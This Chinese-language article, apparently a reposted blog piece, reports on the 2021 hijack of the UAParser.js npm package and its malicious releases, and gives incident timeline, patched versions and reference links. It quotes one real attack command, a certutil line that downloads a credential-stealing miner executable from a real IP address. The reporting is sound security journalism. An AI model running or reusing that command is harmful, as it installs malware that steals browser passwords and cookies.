当周下载量700w次的NPM包中木马...
The following article is from 魔术师卡颂 Author 卡颂
作者丨卡颂
来源丨经授权转自公众号 魔术师卡颂
大家好,我卡颂。
UAParser.js
是一款解析UA
的NPM
包,用于将浏览器UA
字符串解析为格式化数据:
const parser = new UAParser();
const result = parser.getResult();
// {name: "Chromium", version: "15.0.874.106"}
console.log(result.browser);
// {model: undefined, type: undefined, vendor: undefined}
console.log(result.device);
// {name: "Ubuntu", version: "11.10"}
console.log(result.os);
这样一款小工具,周下载量达到780+万次:
被众多大小公司使用:
这样一款人畜无害的小工具,在10月22日一次更新中被植入木马。
由于该NPM
包受众广泛,「美国网络安全和基础设施安全局」(CISA) 在周五深夜发布了有关该事件的安全警报[1],敦促开发人员更新到安全版本。
让我们来了解下事件过程。
事件过程
10月22日,UAParser.js
作者「Faisal Salman」发现邮箱突然被数百个网站的垃圾邮件填满了。
如果是一个神经大条的人,骂咧咧就完了。「Faisal」却警觉起来。
在排查后他发现,有人黑进了他的NPM
账户并为UAParser.js
发布了三个新版本:
0.7.29
0.8.0
1.0.0
显然这些海量垃圾邮件的目的是为了掩盖其中的NPM发布
邮件通知。
由于NPM
的unpublish策略[2],「Faisal」无法立刻取消这三个版本的发布。于是,他在第一时间通知了NPM
官方。
由于下载量巨大,已经有人陆陆续续中招了。
在issue 537[3]可以看到,当下载了危险版本的UAParser.js
,目录下会多出个dll
文件:
最终,「Faisal」删除了危险版本并发布了三个对应的补丁版本:
0.7.30
0.8.1
1.0.1
这个木马会做什么
在危险版本中,加入了一段脚本:
certutil -rulcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe
该脚本执行后会下载一个可执行文件,该文件有两个功能:
挖矿
盗取
chrome
中保存的密码、cookie
在沙箱环境[4]中执行该脚本会发现:脚本会与一个英国的ip
通信。
后记
事实上,这已经是本周报告的第四起恶意NPM包[5],另外三个恶意NPM
包名为:
klow
klown
okhsa
如果你曾经安装了以上NPM
包,即使其最终被删除了,也需要做好最坏的打算。因为恶意脚本下载的脚本可能已经获得了你电脑的控制权。
最后,Mac
用户可以放心了,以上脚本都是针对windows
和Linux
系统。
参考资料
安全警报:https://us-cert.cisa.gov/ncas/current-activity/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
[2]unpublish策略:https://docs.npmjs.com/policies/unpublish
[3]issue 537:https://github.com/faisalman/ua-parser-js/issues/537
[4]沙箱环境:https://www.virustotal.com/gui/file/2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd/behavior/C2AE
[5]恶意NPM包:https://therecord.media/crypto-miner-found-hidden-inside-three-npm-libraries/?「cf_chl_jschl_tk」=pmd_mRsIU3x1lhwgeE_V9IZlQKllJZuphFa9950eQz5tNk4-1635081659-0-gqNtZGzNAlCjcnBszQw9
点分享
点点赞
点在看